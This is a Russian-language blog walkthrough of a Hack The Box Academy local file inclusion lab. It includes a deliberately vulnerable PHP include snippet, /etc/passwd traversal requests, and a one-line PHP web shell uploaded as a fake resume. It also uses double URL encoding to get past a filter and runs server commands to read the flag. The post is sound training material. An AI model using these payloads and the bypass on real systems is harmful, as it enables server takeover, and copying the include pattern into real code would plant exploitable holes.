Найти в Дзене
B0rn2beR00T

Решение File Inclusion (Skills Assessment)

Приветствую, друзья! В новой статье обсудим уязвимость web-приложений File Inclusion на примере кейса с платформы Hack The Box Academy. Приступим к разбору! Включение файлов (File Inclusion) — это тип уязвимости, который возникает, когда веб-приложение позволяет пользователю загружать и исполнять файлы. Такие уязвимости особенно опасны, так как дают злоумышленнику возможность выполнить произвольный код на сервере. Локальное включение файлов (Local File Inclusion, LFI) происходит, когда приложение загружает файлы с сервера, при этом в процессе выбора файла используются данные, которые ввел пользователь. Эту уязвимость можно использовать для доступа к конфиденциальной информации — например, можно запросить файл с настройками или с паролями. А еще таким образом можно запустить размещенный на сервере скрипт. Раз­берем просто­й при­мер уязвимого кода: <?php
$file = $_GET['file'];
include($file);?> Здесь зло­умыш­ленник может передать в парамет­ре file путь к любому фай­лу на сер­вере: http:
Оглавление

Приветствую, друзья!

В новой статье обсудим уязвимость web-приложений File Inclusion на примере кейса с платформы Hack The Box Academy. Приступим к разбору!

Немного теории

Включение файлов (File Inclusion) — это тип уязвимости, который возникает, когда веб-приложение позволяет пользователю загружать и исполнять файлы. Такие уязвимости особенно опасны, так как дают злоумышленнику возможность выполнить произвольный код на сервере.

Локальное включение файлов (Local File Inclusion, LFI) происходит, когда приложение загружает файлы с сервера, при этом в процессе выбора файла используются данные, которые ввел пользователь.

Эту уязвимость можно использовать для доступа к конфиденциальной информации — например, можно запросить файл с настройками или с паролями. А еще таким образом можно запустить размещенный на сервере скрипт.

Раз­берем просто­й при­мер уязвимого кода:

<?php
$file = $_GET['file'];
include($file);?>

Здесь зло­умыш­ленник может передать в парамет­ре file путь к любому фай­лу на сер­вере:

http://target.com/index.php?file=/etc/passwd

Это при­ведет к вклю­чению содер­жимого фай­ла /etc/passwd в ответ, который отоб­разит­ся на уязвимой странице:

-2

Решаем Skills Assessment

На уязвимом сайте есть 3 страницы с разным функционалом. Home — главная страница, Contacts — страница для обращения к сервису и расписание работы, Apply — страница загрузки резюме.

-3

При просмотре кода корневой страницы видим /api/images.php с параметром p. Это можно исследовать на предмет LFI:

-4

Чтобы видеть обращения к изображениям, зайдём в фильтр запросов Burp Suite и тыкнем галочки у Images:

-5

Таким образом, в истории запросов у нас появляются GET-запросы к картинкам.

-6

Перебираем LFI при помощи Intruder и списка пейлоадов Seclist:

-7

Фильтруем запросы по длине ответа (тыкаем на столбик Length) и видим, что из пейлоадов сработало:

-8

Какая-то базовая защита тут есть, но её оказалось недостаточно. Эндпоинт /api/images.php?p= явно содержит LFI.

-9

Вспоминаем про другие страницы страницы и попробуем вывести их содержимое при помощи LFI:

-10

При изучении кода contact.php можно увидеть параметр region. Если в значении этого параметра есть "." или "/", то запрос не пройдёт. Также важно обратить внимание, что при создании запроса путь один раз декодируется из URL-кодировки. Это важно было узнать на будущее.

Также не забываем, что тут есть страница загрузки резюме.

-11

Смотрим и исходник apply.php и видим ещё файл /api/application.php.

-12

application.php рассказывает нам о том, как происходит загрузка файлов в форму с резюме.

Все файлы грузятся в /uploads/, и имена файлов кодируются в md5.

-13

Создаём PHP-файл shell.php с содержимым <?php system($_GET['cmd']); ?> (код принимает системную команду в параметре cmd и далее выполняет её) и грузим в форму в качестве резюме. Никакой защиты от вредоносных расширений файлов мы не видели в исходнике, а значит то, что он принимает .docx и .pdf — уловка для особо доверчивых.

-14

Успешно закидываем наше резюме:

-15

Теперь нам нужно через параметр region в contact.php обратиться к shell.php. Помним, что все запросы декодируются один раз из URL в исходное сообщение и то, что нельзя использовать "." и "/" в чистом виде, т. к. они блокируются неким внутренним WAF.

В таком случае воспользуемся старым, но проверенным способом — двойная URL-кодировка для WAF Bypass.

../uploads/fc023fcacb27a7ad72d605c4e300b389 превращаем в %252E%252E%252Fuploads%252Ffc023fcacb27a7ad72d605c4e300b389. Для удобства можно воспользоваться CyberChef.

%252E - ../ (в URL)
Ffc023fcacb27a7ad72d605c4e300b389 - shell.php (в md5)
-16

К запросу добавим &cmd=id и наблюдаем выполнение системной команды самим сервером.

-17

Меняем в параметре cmd команду на чтение флага cat /*.txt при помощи простого регулярного выражения (прочитать в корневой директории всё, что с расширением .txt).

-18

И теперь кейс решён! Флаг у нас!

Для того чтобы не запутаться, как проходила атака, я нарисовал простую схему:

-19

Выводы

LFI сейчас не так часто попадается в реальном ПО, но при ненадлежащей фильтрации путей и возможности напрямую обращаться к файлам системы вполне имеет место быть.

В CTF любят писать якобы WAF, который заменяет вредоносные конструкции по типу ..// на .. ..\\ и пути становятся невалидными и не понятными системе, что и делает приложение защищённым, но это точно не панацея. Такие замены можно попробовать обойти при помощи кодировки или построения такого запроса, что замена пойдёт только на пользу злоумышленнику.

Адекватные WAF при виде спецсимволов, используемых для LFI просто блокируют запрос для пользователя или редиректят на главную страницу с очищением пути. Такое поведение наблюдается чаще всего.

LFI остаётся актуальным по сей день и уметь её эксплуатировать будет не лишним.

Спасибо за внимание! Не забывайте оценивать моё творчество лайком. Всех благ!